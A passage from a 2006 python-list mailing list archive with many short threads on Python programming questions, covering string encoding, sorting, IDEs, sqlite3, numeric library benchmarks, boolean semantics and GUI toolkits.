Message-ID: <1159804311.971737.44300@i42g2000cwa.googlegroups.com> Tim Chase: > to give you a sorting function. It assumes http rather than > having mixed url-types, such as ftp or mailto. They're easy > enough to strip off as well, but putting them back on becomes a > little more exercise. With a modern Python you don't need to do all that work, you can do: sorted(urls, key=cleaner) Where cleaner is a function the finds the important part of a string of the ones you have to sort. Bye, bearophile From jcd at sdf.lonestar.org Fri Oct 27 17:36:37 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Fri, 27 Oct 2006 15:36:37 -0600 Subject: How to Split Chinese Character with backslash representation? References: Message-ID: Paul McGuire wrote: > "Wijaya Edward" wrote in message > news:mailman.1319.1161920633.11739.python-list at python.org... >> Hi all, >> >> I was trying to split a string that >> represent chinese characters below: >> >> >>>>> str = '\xc5\xeb\xc7\xd5\xbc' >>>>> fields2 = split(r'\\',str) > > There are no backslash characters in the string str, so split finds nothing > to split on. I know it looks like there are, but the backslashes shown are > part of the \x escape sequence for defining characters when you can't or > don't want to use plain ASCII characters (such as in your example in which > the characters are all in the range 0x80 to 0xff). Moreover, you are not splitting on a backslash; since you used a r'raw_string', you are in fact splitting on TWO backslashes. It looks like you want to treat str as a raw string to get at the slashes, but it isn't a raw string and I don't think you can directly convert it to one. If you want the numeric values of each byte, you can do the following: Py >>> char_values = [ ord(c) for c in str ] Py >>> char_values [ 197, 235, 199, 213, 188 ] Py >>> Note that those numbers are decimal equivalents of the hex values given in your string, but are now in integer format. On the other hand, you may want to use str.encode('gbk') (or whatever your encoding is) so that you're actually dealing with characters rather than bytes: Py >>> str.decode('gbk') Traceback (most recent call last): File "", line 1, in -toplevel- str.decode('gbk') UnicodeDecodeError: 'gbk' codec can't decode byte 0xbc in position 4: incomplete multibyte sequence Py >>> str[0:4].decode('gbk') u'\u70f9\u94a6' Py >>> print str[0:4].decode('gbk') ?? Py >>> print str[0:4] ???? OK, so gbk choked on the odd character at the end. Maybe you need a different encoding, or maybe your string got truncated somewhere along the line.... Cheers, Cliff From larry.bates at websafe.com Fri Oct 13 10:59:12 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 13 Oct 2006 09:59:12 -0500 Subject: always raise syntax error! In-Reply-To: <1160727087.763855.206040@i3g2000cwc.googlegroups.com> References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com> <1160727087.763855.206040@i3g2000cwc.googlegroups.com> Message-ID: daniel wrote: > thank you so much for the reply. > > I finally re-type all the codes where python would raise syntax error, > then fixed. I did not examine every single word of my old codes though, > there might be some parenthesis not matching somewhere, I guess. > > well, I would say, the reason why I could not position the error code > may partly due to the ambiguous message that python provides. the lines > that python pointed to contains no error, I think the error codes must > be too far away from there. anyway, I hope python would make more > detailed error messages, like c++ compilers do. such as: "missing ;" or > "(" not matching...etc. > > tks again.. > > daniel > What Steve is trying to tell you is that you need to copy/paste your code (with the full traceback) in future messages. We are not mind readers out here. Occassionally I will have phantom syntax errors that seem to be attributable to non-printing characters in a line. Other times the error is in fact far above the place pointed to by the syntax error. Start by commenting out large chunks of code with triple quotes and slowly work towards the lines with a problem. -Larry Bates From onurb at xiludom.gro Mon Oct 16 05:37:22 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 11:37:22 +0200 Subject: Book about database application development? In-Reply-To: <0001HW.C158378C00729A42F0407530@news.individual.de> References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> Message-ID: <453352d4$0$12918$426a34cc@news.free.fr> Wolfgang Keller wrote: > Hello, > > and thanks for your reply, but... > >> Here's a start: >> >> http://philip.greenspun.com/sql/ > > ...small misunderstanding: I already know a bit of SQL, Developping quality SQLDBMS-based applications requires more than "a bit" of SQL knowledge. > and I intend to avoid > its use as far as possible (and use e.g. Modeling or SQLAlchemy). I don't know Modeling, but have a bit of experience with SQLAlchemy, and without SQL and relational model knowledge, you won't get very far. > What I'm interested in is rather how to connect a GUI to a database, with > quite a bit of application logic in between. And how to do it well. This is more a general design question than a database-related (or even Python-related) one. The answer starts with forgetting about "connect(ing) a GUI to a database" IMHO and experience. Might be time to google for MVC... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From bignose+hates-spam at benfinney.id.au Sat Oct 14 03:57:15 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 14 Oct 2006 17:57:15 +1000 Subject: Eclim: Vim interface to Eclipse (was: IDE that uses an external editor?) References: <17711.51000.610108.986578@montanaro.dyndns.org> Message-ID: <87odsf2uuc.fsf@benfinney.id.au> skip at pobox.com writes: > One thing that's kept me from even looking at IDEs is that to the > best of my knowledge none of them will integrate properly with > external editors like Emacs or vi. The Eclim project exposes Eclipse functionality and then uses Vim as an interface. Instead of trying to write a java IDE in Vim or a Vim editor in Eclipse, eclim provides an Eclipse plug-in that exposes Eclipse features through a server interface, and a set of Vim plug-ins that communicate with Eclipse over that interface (as illustrated below). -- \ "I used to be a narrator for bad mimes." -- Steven Wright | `\ | _o__) | Ben Finney From venkatbo at yahoo.com Wed Oct 18 14:32:05 2006 From: venkatbo at yahoo.com (venkatbo at yahoo.com) Date: 18 Oct 2006 11:32:05 -0700 Subject: How to execute a linux command by python? In-Reply-To: References: Message-ID: <1161196325.286536.40970@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > haishan chang wrote: > > > How to execute a linux command by python? > > for example: execute "ls" or "useradd oracle" > > Who can help me? > > start here: > > http://www.python.org/doc/lib/ > > After reading the matl. pointed to by the many links listed here, you can try pexpect. Provided for more control and interactivity. More at: http://pexpect.sourceforge.net/ /venkat From steve at holdenweb.com Sun Oct 22 04:07:41 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 22 Oct 2006 09:07:41 +0100 Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: <453af89e$0$12734$9b622d9e@news.freenet.de> References: <453af89e$0$12734$9b622d9e@news.freenet.de> Message-ID: Martin v. L?wis wrote: > Kenneth Long schrieb: > >>> Okay if one builds such from sources... but us poor >>>Windows flunkies >>>without a build environment have to wait for some >>>kindly soul to build >>>the installer compatible with the new Python >>>version. >>> >> >>especially since I havent got MS visual studio... >>and mingw is not supported... :-( > > > Why do you say that? mingw might just work fine > (depending on particular details of the extension > module in question). > At the moment SourceForge is only listing one (UK) mirror for mingw, and that seems to be down. I'm guessing something is broken, since I know it used to be much more widely available. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From horpner at yahoo.com Wed Oct 25 20:06:43 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 26 Oct 2006 00:06:43 GMT Subject: What's the best IDE? References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> Message-ID: On 2006-10-26, Neil Cerutti wrote: > It seems like the holy wars are pretty. We disciples of Vim and > Emacs are now content merely being holier than all he others. > > Actually, I'm not sure there's been a good Emacs VS Vim holy war > in years. So... ya know what's I find to be shamefully > hatefully orthodox? Believing in the 'meta' key, when it's > clearly just Alt. Those same people often hold to the heresy > that 'to fill' means 'to wrap'. They believe that modes exist > for different 'languages', and moreover, that there's more than > just the trinity of INSERT, EDIT and COMMAND-LINE. The above post brought to you by the "Bureau of Dumb Jokes Made Incomprehensible by Horrible Editing Department". -- Neil Cerutti From limodou at gmail.com Wed Oct 4 21:59:08 2006 From: limodou at gmail.com (limodou) Date: Thu, 5 Oct 2006 09:59:08 +0800 Subject: dictionary of list from a file In-Reply-To: <1159992675.176015.248850@c28g2000cwb.googlegroups.com> References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> <1159992675.176015.248850@c28g2000cwb.googlegroups.com> Message-ID: <505f13c0610041859p1e01d259mc9347c6f92788bef@mail.gmail.com> On 4 Oct 2006 13:11:15 -0700, sjdevnull at yahoo.com wrote: > limodou wrote: > > here is my program > > > > d = {} > > for line in file('test.txt'): > > line = line.strip() > > if line: > > k, v = line.strip().split() > > d.setdefault(k, []).append(v) > > print d > > Minor nits: you call strip twice, when you don't need to. just omit > the second call. Yes, I forgot that. > Also, I'm not sure stripping the line is the right thing per the spec; > > d = {} > for line in [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]: > k,v = line.split() > d.setdefault(k,[]).append(v) > [l[:-1] for l in file('test.txt', 'rU') if len(l)>1] this line I think will create a list, and if the file is large, it'll consume many memory I think. And I think using strip is more clear than list comprehension, except for the memory consume. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From johnjsal at NOSPAMgmail.com Thu Oct 12 12:05:30 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 12 Oct 2006 16:05:30 GMT Subject: python 2.5 & sqlite3 In-Reply-To: References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> <1160616758.718092.210130@m73g2000cwd.googlegroups.com> Message-ID: Fredrik Lundh wrote: > I still think the "get the official build (and add win32all if you're > doing native windows stuff)" advice is sound, though. Agreed. It seems silly to use anything other than the official release. But anyway, I think the OP was confused about having to install the sqlite libraries manually, because I believe you have to do this on Linux distros, but a Windows binary of Python already includes all you need to work with sqlite3. Now, if the ActiveState distro *doesn't* include the libraries, then I would probably call it broken too. :) From python at hope.cz Fri Oct 20 10:38:55 2006 From: python at hope.cz (Lad) Date: 20 Oct 2006 07:38:55 -0700 Subject: FOR statement Message-ID: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> If I have a list Mylist=[1,2,3,4,5] I can print it for i in Mylist: print i and results is 1 2 3 4 5 But how can I print it in a reverse order so that I get 5 4 3 2 1 ? Thanks. L From simonharrison at fastmail.co.uk Sat Oct 7 11:55:45 2006 From: simonharrison at fastmail.co.uk (simonharrison at fastmail.co.uk) Date: 7 Oct 2006 08:55:45 -0700 Subject: Help with first script please. files, directories, autocomplete Message-ID: <1160236545.779687.136980@c28g2000cwb.googlegroups.com> Hello everyone. Hopefully someone can point me in the right direction here. I'm wanting to write a script to open microsoft word and adobe pdf documents . Here is a little background: At the company where I work (an inspection firm) all reports of inspections are saved as word files. A particular file may contain many reports named like this; 12345A-F.doc. This file contains six reports. Most inspections also require a technique which is saved as a pdf. The pdf filename is the identification of the part being inspected. My command line script will work like this: The user is asked whether they are searching for a technique or a report > Find (c)ertificate or (t)echnique if they press 'c' they are then asked to enter certificate number. Using the code below, no enter is needed import msvcrt print "Find (t)echnique or (c)ertificate: " ch = msvcrt.getch() if ch == 't': print "Enter technique number: " elif ch == 'c': print "Enter certificate number: " else: print 'command not understood.' raw_input() Obviously I will need to wrap this into a function. What I need to know how to do is save the two directories where the files are stored. if 'c' is selected I want to use that as the directory to search. same for techniques. What is the best way to do this? I would also like to have the text autocomplete after maybe three characters, is this possible? Am I correct in thinking all files would have to be stored in a list for this to work? As you can tell I am new to programming. I don't want someone to write this script for me, just give me some pointers to get going (maybe a tutorial on the net). Unless someone really wants to write it of course! Many thanks and sorry for the long post. From tshepang at gmail.com Sun Oct 15 07:30:40 2006 From: tshepang at gmail.com (Tshepang Lekhonkhobe) Date: Sun, 15 Oct 2006 13:30:40 +0200 Subject: where is Python tutorial? In-Reply-To: <7xzmbxhmd6.fsf@ruckus.brouhaha.com> References: <7xzmbxhmd6.fsf@ruckus.brouhaha.com> Message-ID: <857993970610150430x49b38c69vd6735818641646ae@mail.gmail.com> On 15 Oct 2006 04:03:33 -0700, Paul Rubin <"http://phr.cx"@nospam.invalid> wrote: > "Tshepang Lekhonkhobe" writes: > > I looked in the packages list and couldn't find the tutorial and was > > wondering if it was removed from the archive. Was it? > > http://www.google.com/search?q=%22python+tutorial%22 > > finds it pretty fast Sorry for this since I thought I was sending to Debian-Python, and was looking for a Debian package. From bblais at bryant.edu Thu Oct 19 12:35:00 2006 From: bblais at bryant.edu (Brian Blais) Date: Thu, 19 Oct 2006 12:35:00 -0400 Subject: advice for web-based image annotation Message-ID: <4537A934.10604@bryant.edu> Hello, I want to set up a system where I can have my family members write comments about a number of pictures, as part of a family tree project. Essentially, I want them to be able to log into a website (I already have the webspace, and the server runs python, but not mod_python), see images, and be able to fill in text boxes for comments and enter dates for the pictures. These comments and dates will then be viewable by the others logging in, so that I can keep track of collect stories, details, dates, etc...and also, who is writing what, when. I've written some basic CGI python scripts, and can imagine how to do this, but I was wondering if it would better to look into a framework like cherrypy, turbogears, zope, etc. I have never done any database programming, but have written CGI scripts to modify excel sheets and text files to store state. I am not adverse to learning the database end, but I don't want to climb that hill unless I feel there is a significant benefit. I don't have admin rights on the server, if that makes a difference. Any suggestions would be greatly appreciated! thanks, Brian Blais -- ----------------- bblais at bryant.edu http://web.bryant.edu/~bblais From fredrik at pythonware.com Fri Oct 20 01:51:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 07:51:22 +0200 Subject: Decorators and how they relate to Python - A little insight please! In-Reply-To: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> Message-ID: Jerry wrote: > even though I've read the PEP even the examples section? http://www.python.org/dev/peps/pep-0318/#examples if you want more examples, see the cookbook http://www.google.com/search?q=+site%3Aaspn.activestate.com+decorator+cookbook From bignose+hates-spam at benfinney.id.au Wed Oct 11 02:02:26 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 16:02:26 +1000 Subject: sufficiently pythonic code for testing type of function References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> Message-ID: <87irir75l9.fsf@benfinney.id.au> "Theerasak Photha" writes: > I wrote this for someone else to take an object and list of types, > then check if obj is one of those types, raising an error otherwise. This is a way of programming known as "Look Before You Leap" (LBYL). It is most likely a mistake to do this in Python. (That's not an absolute, but it's the smart way to bet.) Far better is to take the objects passed, *use* them in the way that you need to use them, and catch exceptions that get raised at the point where there is enough context to handle them. This is the "Easier to Ask Forgiveness than Permission" (EAFP) principle, and it is considered to be far more Pythonic. -- \ "Prediction is very difficult, especially of the future." -- | `\ Niels Bohr | _o__) | Ben Finney From steve at REMOVE.THIS.cybersource.com.au Fri Oct 27 09:31:39 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Fri, 27 Oct 2006 23:31:39 +1000 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> Message-ID: On Fri, 27 Oct 2006 09:16:57 +0000, Antoon Pardon wrote: >> I think it is a good time to remind people of some extremely well-thought >> out opposition to the introduction of bools to Python from Laura Creighton: >> >> http://mail.python.org/pipermail/python-list/2002-April/095878.html >> >> She lost the debate, Guido had the final word and Python now has bools. >> Take particular note of her description of Python distinguishing between >> Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc). > > Yes and IMO that is a less usefull distinction than the distinction > between True and False. When I write code I think in terms of > conditions. In those conditions this has to be treated this way > otherwise it has to be treated an other way. Conditions give > results that are either True or False, not Something or Nothing. And if you read the thread that Laura Creighton's post is part of, you will see that she acknowledges that most people think strongly in terms of binary true/false yes/no states, and that this is often the wrong thing to do. There are lots of human thought patterns that are unhealthy, and binary is often one of them. The world is continuous, and our brains think in binary. No wonder people have such trouble with concepts like evolution: - there is a continual chain of individuals such that every offspring of an reptile is a reptile, and every parent of a mammal is a mammal, and yet mammals are directly descended from reptiles. By I digress. This is too easy to get off topic... > I don't think of 10 > 5 as Something while 5 < 10 would be > Nothing. Not at all, you got your operators the wrong way around. Five certainly is less than 10 in every counting system I've ever come across. I think you meant 5 > 10 is Nothing. Certainly purely mathematical relations like GT and LT lend themselves very well to true two-valued algebra. The thing to remember is that Python's truth model is not the same as pure Boolean algebra. For starters, it certainly is not two-valued! It is infinitely-valued. It's just that many of those values are equivalent *in a Boolean context*. In Pascal, writing "x := 2; if x then..." would be an error, because x is not a Boolean. But it is certainly useful to be able to write the equivalent in Python. The designer of Pascal choose strict Boolean algebra; the designer of Python choose a more flexible, less strict model. If you are going to argue for strict Booleans, like in Pascal, then mathematical relations like GT and LT will be your poster-child. But if you are going to argue for Python's less strict truth model, then you'll talk about lots of examples like this: if somelist: # work with the list else: # nothing to work with > So while the paradigma of the language may be the > distinction of Something vs Nothing the programmer will often > enough think in terms of True and False. If you read Laura's post, you will see that she is arguing strongly that thinking about True and False is often -- usually! -- a mistake. I acknowledge that there are cases where it is either necessary or desirable to think in terms of True/False, but that is less common than you might think. > So IMO it would have > been better if python had made the distinction between True and > False and so made the programmer code the Something/Nothing > disctinction explicitly. I don't understand what you are saying here, unless it is that you believe that Python should have strict Pascal-style Booleans. -- Steven. From Matthew.Warren at Digica.com Wed Oct 4 06:19:35 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Wed, 4 Oct 2006 11:19:35 +0100 Subject: Improving telnetlib In-Reply-To: <452095AF.3090503@excess.org> Message-ID: Hi, I use telnetlib in an app I am writing, and would like to add functionality to it to support interactive terminal sessions , IE: be able to 'vi' a file. Currently it seems telnetlib isnt quite sophisticated enoguh to support such a thing. The trouble is, I havent got a clue where to start and would appreciate a couple of pointers to get me going... Thanks, Matt. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From gagsl-py at yahoo.com.ar Wed Oct 18 22:09:57 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 23:09:57 -0300 Subject: Converting existing module/objects to threads In-Reply-To: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> Message-ID: <7.0.1.0.0.20061018230743.0420f8c0@yahoo.com.ar> At Wednesday 18/10/2006 22:02, jdlists at gmail.com wrote: >This currently works in a non-threaded version, but only for one device >at a time, there is a need to create a single windows(yeach) service >that talks to many of these devices at once. I don't need worker >threads that handle seperate portions of the entire job, i need a >single application to spawn multiple processes to run through the >entire communication from configure to report, sleep until the next >interval time and run again. The communication could last from 1 >minute to 10 minutes before it ends. Consider using the asyncore module instead of threads. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From steve at holdenweb.com Thu Oct 5 09:52:02 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 14:52:02 +0100 Subject: Subclassing built-in classes In-Reply-To: <200610051441.54455.maric@aristote.info> References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> <200610051441.54455.maric@aristote.info> Message-ID: Maric Michaud wrote: > Le jeudi 05 octobre 2006 14:20, Steve Holden a ?crit : > >>Unfortunately the literals are interpreted during bytecode generation, >>before the compiled program is available, and your modifications to >>__builtns__ haven't been made, so the answer is "no", I'm afraid. > > > But what prevents to interpret literals as a call to __builtins__ objects and > functions ? optimization ? what else ? > How can you modify __builtins__ before your program starts running? You can't. What does the interpreter have to do before the program runs? Translate it into bytecode. When are literals interpreted? During translation into bytecode. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From email at christoph-haas.de Tue Oct 17 14:40:01 2006 From: email at christoph-haas.de (Christoph Haas) Date: Tue, 17 Oct 2006 20:40:01 +0200 Subject: Best IDE? In-Reply-To: <1160779213.761906.285630@k70g2000cwa.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <1160779213.761906.285630@k70g2000cwa.googlegroups.com> Message-ID: <200610172040.01922.email@christoph-haas.de> On Saturday 14 October 2006 00:40, sjdevnull at yahoo.com wrote: > Ahmer wrote: > > What do you guys use? > > vim > > Like: > > Built-in python interpreter so you can do any editor customizations in > Python > Good multilanguage support (Python, but also C, C++, Java, HTML, XML, > SQL, and dozens of others) > FAST > Good code navigation via smart tags > Does intelligent completion of module members, methods, etc > Python syntax checking on the fly (e.g. typing "if a=1:" and hitting > enter flags the error immediately) > Class browsing support (whatever I'm editing, there's a class menu to > either pop up to the parent(s), down to children, or jump around > various methods within the class) > Automatically show function/method docstrings/leading comments (and > documentation for standard functions), synopsis in the status bar or > full text in a popup window if you hit F1 > Configurable project support so for large projects it is smart about > which parts of the source tree might be relevant to what I'm working on > right now > Runs in text-mode or GUI, so I can use the same editor making quick > edits over ssh that I use in my on-desktop development > > Hate: > Required a lot of customization to get all of the above I have browsed many vim plugins. Still I couldn't find everything you gush about. I would love to have the comfort of vim with the smartness of ipython. Could you give a few pointers to a curious geek with too much spare time on how you did all this? I couldn't even get ctags working satisfyingly. Cheers Christoph From no-spam at no-spam-no-spam.com Sun Oct 22 01:55:44 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sun, 22 Oct 2006 07:55:44 +0200 Subject: Speed comparison of Numeric, numarray, numpy Message-ID: just a note - some speed comparisons : >>> timeit.Timer('x=a-a*.1','import Numeric;a=Numeric.ones(300,Numeric.Float)').timeit(10000) 0.60627370238398726 >>> timeit.Timer('x=a-a*.1','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000) 0.42836673376223189 >>> timeit.Timer('x=a-a*.1','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000) 0.36965815487747022 >>> timeit.Timer('x=a[30:40]','import Numeric;a=Numeric.ones(300,Numeric.Float)').timeit(10000) 0.016557970357098384 >>> timeit.Timer('x=a[30:40]','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000) 0.15692469294117473 >>> timeit.Timer('x=a[30:40]','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000) 0.01951756438393204 >>> timeit.Timer('x=MLab.max(a)','import Numeric,MLab;a=Numeric.ones(300,Numeric.Float)').timeit(10000) 0.21454933518180042 >>> timeit.Timer('x=a.max()','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000) 0.70624786110965942 >>> timeit.Timer('x=a.max()','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000) 0.21168165227754798 >>> timeit.Timer('x=MLab.max(a[30:40])','import Numeric,MLab;a=Numeric.ones(300,Numeric.Float)').timeit(10000) 0.21775784352394112 >>> timeit.Timer('x=a[30:40].max()','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000) 0.81516337970242603 >>> timeit.Timer('x=a[30:40].max()','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000) 0.21344193186450866 >>> timeit.Timer('a*=0.99','import Numeric;a=Numeric.ones(300,Numeric.Float)').timeit(10000) 0.293094513410324 >>> timeit.Timer('a*=0.99','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000) 0.061937480881169904 >>> timeit.Timer('a*=0.99','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000) 0.16990958347923879 strange differences in all directions ... robert From fredrik at pythonware.com Wed Oct 11 12:40:42 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 18:40:42 +0200 Subject: Funky file contents when os.rename or os.remove are interrupted In-Reply-To: <1160584103.590584.67110@i42g2000cwa.googlegroups.com> References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> <452C78C8.9080305@v.loewis.de> <1160584103.590584.67110@i42g2000cwa.googlegroups.com> Message-ID: Russell Warren wrote: > One last non-python question... a few things I read seemed to vaguely > indicate that the journaling feature of NTFS is an extension/option. http://www.microsoft.com/whdc/system/winpreinst/ntfs-preinstall.mspx NTFS is a journaling file system. NTFS writes a log of changes being made, which offers significant benefit in cases where a system loses power, experiences an unexpected reset, or crashes. http://en.wikipedia.org/wiki/NTFS A file system journal is used in order to guarantee the integrity of the file system itself (but not of each individual file). Systems using NTFS are known to have improved reliability compared to FAT file systems. From sybrenUSE at YOURthirdtower.com.imagination Tue Oct 17 11:58:45 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Tue, 17 Oct 2006 17:58:45 +0200 Subject: Save/Store whole class (or another object) in a file References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com> Message-ID: alexLIGO at googlemail.com enlightened us with: > is it possible in python (with/without matplotlib, numpy etc) to > store a whole class with its data into a file Check out the pickle module. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From lycka at carmen.se Thu Oct 19 10:36:38 2006 From: lycka at carmen.se (Magnus Lycka) Date: Thu, 19 Oct 2006 16:36:38 +0200 Subject: Ok. This IS homework ... In-Reply-To: References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: Frederic Rentsch wrote: > Once upon a time programmers did things like this: > > BEGIN > | > -------------->|<------------------------------------- > | | | > | catch input | > | | | > | input type valid? - prompt for correct input --| > | + | > | input too large? + --- prompt for new input -- > | - > | add to running total | | > | status report | | > -- - running total >= max? > + > report done | > END > > It was called a flow chart. Flow charts could be translated directly > into machine code written in assembly languages which had labels, tests > and jumps as the only flow-control constructs. When structured > programming introduced for and while loops they internalized labeling > and jumping. That was a great convenience. Flow-charting became rather > obsolete because the one-to-one correspondence between flow chart and > code was largely lost. As long as you only draw your loops to the right (or left, just be consistent) and make sure you don't cross any lines, you're doing structured programming. (I think...) E.g. | v blah1<--------+ | ^ v | if xx-->foo | | | | v v | bar baz | | | | +<-------+ | | | v | maybe-------->+ | v From sferriol at imag.fr Mon Oct 23 05:29:08 2006 From: sferriol at imag.fr (Sylvain Ferriol) Date: Mon, 23 Oct 2006 11:29:08 +0200 Subject: is it a bug ? In-Reply-To: References: Message-ID: Fredrik Lundh a ?crit : > Sylvain Ferriol wrote: > >> can you explain to me what happened: >> >> class toto(object): >> eq = float.__eq__ >> >> t = toto() >> >> getattr(t,'eq') >> TypeError: descriptor '__eq__' for 'float' objects doesn't apply to >> 'toto' object > > > I'd say the error message explains it pretty well. what did you expect > this to do? > i just want a class variable named 'eq', i could understand if its name was '__eq__'. class toto(object): __eq__ = float.__eq__ why i can not create some class variables like this ? class toto(object): a= float.__eq__ b= str.__eq__ ...... > > From max at alcyone.com Sat Oct 7 17:04:54 2006 From: max at alcyone.com (Erik Max Francis) Date: Sat, 07 Oct 2006 14:04:54 -0700 Subject: class print? In-Reply-To: <1160254799.657198.240360@e3g2000cwe.googlegroups.com> References: <1160254799.657198.240360@e3g2000cwe.googlegroups.com> Message-ID: SpreadTooThin wrote: > Hi... Many python object can be printed simpy by saying: > print obj > what method(s) need to be implemented in my own classes such that print > dumps the object? __str__ -- Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis Can I walk with you / 'Till the day that my heart stops beating -- India Arie From wektorian at gmail.com Sat Oct 21 11:17:22 2006 From: wektorian at gmail.com (Wektor) Date: 21 Oct 2006 08:17:22 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <453A3440.8090801@kevin-walzer.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> Message-ID: <1161443842.206948.145300@i42g2000cwa.googlegroups.com> Kevin Walzer wrote: > sturlamolden wrote: > > Christophe wrote: > > > >> Nobody mentionned it, but I think you should try PyQT and PyGTK before > >> wxPython. Myself, I do not like wx : it looks too much like the MFC. > >> > >> PyGTK is good, but GTK doesn't work that well on windows. > > > > GTK and PyGTK works well on Windows now. GTK used to be unstable on > > Windows, but that has been taken care of. I would not use anything else > > but PyGTK for GUI development in Python. Go here to get the Windows > > port: > > > > http://www.mapr.ucl.ac.be/~gustin/win32_ports/ > > > > With PyGTK and GLADE, the GUI can be designed in GLADE and imported as > > an XML-resource (using libglade). It saves us of all the tedious > > GUI-programming. All that is needed is the event handlers, which we > > obviously have to code. When they are done, we simply put references to > > them in a dictionary, and tell libglade to dispacth on it. All the GUI > > programming crap is hidden away. Since there is no actual GUI code in > > Python, it also makes maintenance and upgrading much easier: The GUI > > can be redesigned in GLADE without affecting the Python code. Have you > > ever tried to change anything in an MFC project with Visual C++? It's a > > nightmare. > > > I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an > Aqua framework), only under X11. So that's a non-starter for me. You have 2 choices then wxWidgets or Qt. wx has also graphical editors like Glade (there is a wxGlade project) giving a xml description of a window and its cross platform. I know there are graphical for Qt but i dont know if theyre giving xml or are just code-generators. You could also do gui in Java or .Net and use python with their native interpreter (jython is a bit outdated but IronPython is "online") You can also use a local web app with one of cool Python'ish web frameworks -- id suggest TurboGears, but you can choose from many ill mention Django (which is i think the biggest rival for TG) On the other hand its a pity that there isnt much choice in cross platform (win mac lin) GUI platforms until now i was a great fan of GTK but there isnt a proper port for Mac. Its also a pity that no one didnt do something based on OpenGL with python (or maybe im wrong) it could be cool and really cross-platform. From Kiran.Karra at gmail.com Tue Oct 24 